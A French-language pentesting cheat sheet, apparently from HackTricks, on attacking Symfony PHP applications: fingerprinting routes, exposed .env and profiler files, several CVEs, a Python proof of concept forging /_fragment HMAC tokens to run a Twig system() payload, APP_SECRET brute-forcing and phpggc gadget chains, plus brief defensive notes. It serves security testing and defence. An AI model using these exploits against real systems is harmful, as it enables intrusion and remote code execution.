7.1 KiB
Raw Blame History

Symfony

{{#include ../../banners/hacktricks-training.md}}

Symfony est l'un des frameworks PHP les plus utilisés et apparaît régulièrement dans les évaluations des cibles d'entreprise, de commerce électronique et de CMS (Drupal, Shopware, Ibexa, OroCRM… tous intègrent des composants Symfony). Cette page collecte des conseils offensifs, des configurations incorrectes courantes et des vulnérabilités récentes que vous devriez avoir sur votre liste de contrôle lorsque vous découvrez une application Symfony.

Note historique : Une grande partie de l'écosystème utilise encore la branche 5.4 LTS (EOL novembre 2025). Vérifiez toujours la version mineure exacte car de nombreux avis de sécurité de 2023-2025 ne sont corrigés que dans des versions de patch (par exemple, 5.4.46 → 5.4.50).


Recon & Enumeration

Finger-printing

  • En-têtes de réponse HTTP : X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link ou cookies commençant par sf_redirect, sf_session, MOCKSESSID.
  • Les fuites de code source (composer.json, composer.lock, /vendor/…) révèlent souvent la version exacte :
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Routes publiques qui n'existent que sur Symfony :
  • /_profiler (Symfony Profiler & barre d'outils de débogage)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pages d'erreur jolies)
  • /app_dev.php, /config.php, /config_dev.php (contrôleurs frontaux de développement pré-4.0)
  • Wappalyzer, BuiltWith ou listes de mots ffuf/feroxbuster : symfony.txt → recherchez /_fragment, /_profiler, .env, .htaccess.

Fichiers et points de terminaison intéressants

Chemin Pourquoi c'est important
/.env, /.env.local, /.env.prod Souvent mal déployés → fuites APP_SECRET, identifiants DB, SMTP, clés AWS
/.git, .svn, .hg Divulgation de source → identifiants + logique métier
/var/log/*.log, /log/dev.log Mauvaise configuration de la racine web expose des traces de pile
/_profiler Historique complet des requêtes, configuration, conteneur de services, APP_SECRET (≤ 3.4)
/_fragment Point d'entrée utilisé par ESI/HInclude. Abus possible une fois que vous connaissez APP_SECRET
/vendor/phpunit/phpunit/phpunit RCE PHPUnit si accessible (CVE-2017-9841)
/index.php/_error/{code} Finger-print & parfois fuite des traces d'exception

Vulnérabilités à fort impact (2023-2025)

1. Divulgation de APP_SECRET ➜ RCE via /_fragment (alias “secret-fragment”)

  • CVE-2019-18889 à l'origine, mais apparaît toujours sur des cibles modernes lorsque le débogage est laissé activé ou que .env est exposé.
  • Une fois que vous connaissez le APP_SECRET de 32 caractères, créez un jeton HMAC et abusez du contrôleur interne render() pour exécuter du Twig arbitraire :
# PoC  nécessite le secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE dans Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Excellent article et script d'exploitation : blog Ambionics (lié dans les références).

2. Détournement de processus Windows CVE-2024-51736

  • Le composant Process recherchait le répertoire de travail actuel avant PATH sur Windows. Un attaquant capable de télécharger tar.exe, cmd.exe, etc. dans une racine web écrivable et de déclencher Process (par exemple, extraction de fichiers, génération de PDF) obtient l'exécution de commandes.
  • Corrigé dans 5.4.50, 6.4.14, 7.1.7.

3. Fixation de session CVE-2023-46733

  • Le garde d'authentification a réutilisé un ID de session existant après la connexion. Si un attaquant définit le cookie avant que la victime ne s'authentifie, il détourne le compte après la connexion.

4. XSS dans le sandbox Twig CVE-2023-46734

  • Dans les applications qui exposent des modèles contrôlés par l'utilisateur (CMS admin, constructeur d'e-mails), le filtre nl2br pourrait être abusé pour contourner le sandbox et injecter du JS.

5. Chaînes de gadgets Symfony 1 (toujours trouvées dans des applications héritées)

  • phpggc symfony/1 system id produit une charge utile Phar qui déclenche RCE lorsqu'un unserialize() se produit sur des classes telles que sfNamespacedParameterHolder. Vérifiez les points de terminaison de téléchargement de fichiers et les wrappers phar://.

{{#ref}} ../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md {{#endref}}


Exploitation Cheat-Sheet

Calculer le jeton HMAC pour /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce faible APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via exposed Symfony Console

Si bin/console est accessible via php-fpm ou un téléchargement direct en CLI :

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Utilisez des gadgets de désérialisation dans le répertoire de cache ou écrivez un modèle Twig malveillant qui sera exécuté lors de la prochaine requête.


Notes défensives

  1. Ne jamais déployer le débogage (APP_ENV=dev, APP_DEBUG=1) en production ; bloquez /app_dev.php, /_profiler, /_wdt dans la configuration du serveur web.
  2. Stockez les secrets dans des variables d'environnement ou vault/secrets.local.php, jamais dans des fichiers accessibles via le document-root.
  3. Appliquez la gestion des correctifs abonnez-vous aux avis de sécurité Symfony et maintenez au moins le niveau de correctif LTS.
  4. Si vous utilisez Windows, mettez à jour immédiatement pour atténuer CVE-2024-51736 ou ajoutez une défense en profondeur open_basedir/disable_functions.

Outils offensifs utiles

  • ambionics/symfony-exploits RCE de fragment secret, découverte de routes de débogage.
  • phpggc Chaînes de gadgets prêtes à l'emploi pour Symfony 1 & 2.
  • sf-encoder petit outil pour calculer le HMAC de _fragment (implémentation Go).

Références